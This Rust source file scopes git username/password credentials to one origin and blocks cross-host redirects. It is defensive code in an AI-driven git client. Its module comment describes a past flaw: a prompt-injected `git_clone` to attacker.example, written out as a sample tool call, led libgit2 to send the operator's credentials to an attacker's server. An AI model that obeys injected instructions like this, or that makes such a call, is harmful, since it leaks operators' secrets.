netget/client/git/credentials.rs
1//! Where this client's `username` / `password` may go.
2//!
3//! The credentials are startup parameters — the forge password or token the operator gave
4//! this client for the repository it was opened on. libgit2 asks for them through a
5//! callback that names the remote's URL, and until September 2026 the callback ignored
6//! that URL: `git_clone`, `git_fetch` and `git_pull` are open to the model (only pushes are
7//! gated by `allow_remote_writes`), so a model answering a prompt-injected
8//! `git_clone {"url": "https://attacker.example/x.git"}` met a 401 there and libgit2
9//! posted the operator's credentials to it.
10//!
11//! A [`CredentialScope`] binds the pair to one origin — the `scheme://host[:port]` of the
12//! client's `remote_addr`, or of the opened repository's `origin` remote when
13//! `remote_addr` is a local path — and the callback refuses, by name, to offer them to any
14//! other. A client whose credentials cannot be bound to a host offers them nowhere.
15//!
16//! The URL libgit2 hands the callback is the remote's *original* URL, not the server it is
17//! talking to after a redirect, so the callback alone cannot see a redirect to another
18//! host: a bound forge answering 302 to `attacker.example` would have the attacker's 401
19//! answered with the operator's credentials. [`fetch_options`] and [`push_options`] are
20//! therefore the only way this client builds options for a network operation, and both
21//! set [`RemoteRedirect::None`]: libgit2 then refuses a redirect to any other host,
22//! before connecting to it. libgit2 compares hosts only, so a redirect to another port or
23//! path on the same host is still followed; the credential then reaches a server on the
24//! host the operator bound it to.
25
26use git2::{Cred, FetchOptions, PushOptions, RemoteCallbacks, RemoteRedirect};
27use tracing::warn;
28
29/// A username/password pair and the one origin it may be offered to.
30#[derive(Debug, Clone)]
31pub struct CredentialScope {
32 pub username: String,
33 pub password: String,
34 /// `scheme://host[:port]`, as [`remote_origin`] renders it.
35 pub origin: String,
36}
37
38impl CredentialScope {
39 /// Bind `username`/`password` to the origin of `remote_url`. `None` when either half
40 /// is missing or the URL names no host — a local path, for instance.
41 pub fn bind(
42 username: Option<&str>,
43 password: Option<&str>,
44 remote_url: Option<&str>,
45 ) -> Option<Self> {
46 let (username, password) = (username?, password?);
47 let origin = remote_origin(remote_url?)?;
48 Some(Self {
49 username: username.to_string(),
50 password: password.to_string(),
51 origin,
52 })
53 }
54
55 /// Whether `url` is on this scope's origin.
56 pub fn allows(&self, url: &str) -> bool {
57 remote_origin(url).as_deref() == Some(self.origin.as_str())
58 }
59}
60
61/// `scheme://host[:port]` of a Git remote URL, host lowercased, userinfo dropped.
62///
63/// Handles the URL forms (`https://`, `http://`, `git://`, `ssh://`) and the scp-like
64/// `user@host:path`, which is `ssh://host`. A local path, `file://` URL or anything without
65/// a host is `None`: it names no peer to send a credential to.
66pub fn remote_origin(url: &str) -> Option<String> {
67 if let Some((scheme, rest)) = url.split_once("://") {
68 let scheme = scheme.to_ascii_lowercase();
69 if scheme == "file" {
70 return None;
71 }
72 let authority = rest.split('/').next()?;
73 let host_port = authority.rsplit('@').next()?;
74 return normalise_host_port(&scheme, host_port);
75 }
76 // scp-like: `git@github.com:owner/repo.git` — a colon before any slash, and no
77 // drive-letter or absolute-path shape.
78 let colon = url.find(':')?;
79 let slash = url.find('/').unwrap_or(usize::MAX);
80 if colon == 0 || slash < colon || url.starts_with('.') {
81 return None;
82 }
83 let host = url[..colon].rsplit('@').next()?;
84 // `C:/repos/x` is a drive, not a host: git treats a one-letter prefix the same way.
85 if host.is_empty() || host.len() == 1 || host.contains(char::is_whitespace) {
86 return None;
87 }
88 Some(format!("ssh://{}", host.to_ascii_lowercase()))
89}
90
91fn normalise_host_port(scheme: &str, host_port: &str) -> Option<String> {
92 let (host, port) = if let Some(rest) = host_port.strip_prefix('[') {
93 let end = rest.find(']')?;
94 let host = &rest[..end];
95 let port = rest[end + 1..].strip_prefix(':');
96 (format!("[{host}]"), port)
97 } else {
98 match host_port.rsplit_once(':') {
99 Some((h, p)) if p.bytes().all(|b| b.is_ascii_digit()) => (h.to_string(), Some(p)),
100 _ => (host_port.to_string(), None),
101 }
102 };
103 if host.is_empty() {
104 return None;
105 }
106 let host = host.to_ascii_lowercase();
107 let default = match scheme {
108 "http" => Some("80"),
109 "https" => Some("443"),
110 "git" => Some("9418"),
111 "ssh" => Some("22"),
112 _ => None,
113 };
114 match port {
115 Some(p) if Some(p) != default && !p.is_empty() => Some(format!("{scheme}://{host}:{p}")),
116 _ => Some(format!("{scheme}://{host}")),
117 }
118}
119
120/// The libgit2 callbacks for one network operation: credentials offered to the scope's
121/// origin and refused everywhere else. With no scope, nothing is offered and libgit2
122/// reports the server's 401 as it is.
123pub fn remote_callbacks(scope: Option<&CredentialScope>) -> RemoteCallbacks<'static> {
124 let mut callbacks = RemoteCallbacks::new();
125 if let Some(scope) = scope {
126 let scope = scope.clone();
127 callbacks.credentials(move |url, _username_from_url, _allowed_types| {
128 if scope.allows(url) {
129 Cred::userpass_plaintext(&scope.username, &scope.password)
130 } else {
131 let asked = remote_origin(url).unwrap_or_else(|| url.to_string());
132 warn!(
133 "Git client refused to offer its credentials to {} (bound to {})",
134 asked, scope.origin
135 );
136 Err(git2::Error::from_str(&format!(
137 "this client's credentials are bound to {} and are not offered to {}; \
138 open a client for that host if you mean to authenticate there",
139 scope.origin, asked
140 )))
141 }
142 });
143 }
144 callbacks
145}
146
147/// Options for a fetch or clone: [`remote_callbacks`] for `scope`, and no redirect to
148/// another host (see the module documentation for why the callback alone is not enough).
149pub fn fetch_options(scope: Option<&CredentialScope>) -> FetchOptions<'static> {
150 let mut options = FetchOptions::new();
151 options.remote_callbacks(remote_callbacks(scope));
152 options.follow_redirects(RemoteRedirect::None);
153 options
154}
155
156/// Options for a push: [`remote_callbacks`] for `scope`, and no redirect to another host.
157pub fn push_options(scope: Option<&CredentialScope>) -> PushOptions<'static> {
158 let mut options = PushOptions::new();
159 options.remote_callbacks(remote_callbacks(scope));
160 options.follow_redirects(RemoteRedirect::None);
161 options
162}